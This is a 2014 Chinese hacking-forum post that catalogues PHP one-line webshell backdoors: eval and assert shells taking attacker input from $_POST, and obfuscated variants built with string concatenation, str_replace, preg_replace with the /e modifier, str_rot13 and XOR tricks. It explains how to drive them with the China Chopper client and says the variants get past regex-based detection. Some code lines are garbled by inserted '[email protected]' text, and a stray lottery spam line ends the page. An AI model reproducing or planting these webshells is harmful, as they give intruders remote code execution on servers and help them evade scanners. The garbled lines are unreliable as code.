燈火互聯
管理員
管理員
  • 注冊日期2011-07-27
  • 發帖數41642
  • QQ
  • 火幣40942枚
  • 粉絲1085
  • 關注100
  • 終身成就獎
  • 最愛沙發
  • 忠實會員
  • 灌水天才獎
  • 貼圖大師獎
  • 原創先鋒獎
  • 特殊貢獻獎
  • 宣傳大使獎
  • 優秀斑竹獎
  • 社區明星
閱讀:2556回復:0

那些年我們追逐的php一句話,分析原理

樓主#
更多 發布于:2014-11-20 13:46
今天談談php一句話后門分析
1.eval
eval用法:
eval() 函數把字符串按照 PHP 代碼來計算
該字符串必須是合法的 PHP 代碼,且必須以分號結尾。
如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。
<?php eval ($_POST[jusker]); ?>
2.assert
Assert用法:
assert這個函數在php語言中是用來判斷一個表達式是否成立。返回true or false;
這跟eval()類似。不過eval($code_str)只是執行符合php編碼規范的,assert的用法卻更詳細一點
assert_option()可以用來對assert()進行一些約束和控制;
默認值
ASSERT_ACTIVE=1 //Assert函數的開關
ASSERT_WARNING =1 //當表達式為false時,是否要輸出警告性的錯誤提示,issue a PHP warning for each failed assertion
 ASSERT_BAIL= 0 //是否要中止運行;terminate execution on failed assertions
ASSERT_QUIET_EVAL= 0 //是否關閉錯誤提示,在執行表達式時;disable error_reporting during assertion expression evaluation
 ASSERT_CALLBACK= (NULL) // 是否啟動回調函數 user function to call on failed assertions
可以通過以上方法修改assert后門,達到繞過正則
<?php assert ($_POST[jusker]); ?>
三.變形一句話
1.<?php $_GET['xxoo']($_POST['cmd']);?>
客戶端用菜刀,密碼cmd,url為test.php?xxoo=assert或者是test.php?xxoo=eval
2.<?php $_POST['xxoo']($_POST['cmd']);?>
這個是直接發post數據包就OK
3.<?php
$a = “a”.”s”.”s”.”e”.”r”.”t”;
$a($_POST["cmd"]);
?>
4.<?php ([email protected]$_GET[jusker])[email protected]$_($_POST[xxoo])?>
http://localhost/jusker.php?jusker=asstrt
原理就是get傳遞參數assert然后形成@[email protected]($_($_POST[xxoo])
5.<?php $_POST['jusker']($_POST['cmd']);?
提交post內容形成assert,eval
5.通過str_replace替換
$a = str_replace(x,”",”axsxxsxexrxxt”)
最后要形成的是$a = assert
6.<?php
@preg_replace(“/[email]/e”,$_POST['h'],”error”);
?>
談談這個后門吧,這個是用e修飾符,只需要e所在的位置跟最后的"error"正則匹配正確就會$_POST['h']的內容
那么我們只需要用菜刀<O>[email protected]($_POST[c]);</O>就可以,讓h參數執行
7.<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
菜刀里寫:http://localhost/2.php?_=assert&__=eval($_POST['xxoo'])
密碼:xxoo
原理分析你只需要讓$_拼接打印即可
8.<?php
($b4dboy = $_POST['1']) && @preg_replace(‘/ad/e,,'@,.str_rot13(‘riny,).,($b4dboy)', 'add');
 ?>
'@'.str_rot13('riny')相當于@eval,然后你懂的
其實大都數原理都是如此,加了變形,解析后依然是原裝語句eval,assert

喜歡0 評分0
游客

返回頂部
广东体彩26选5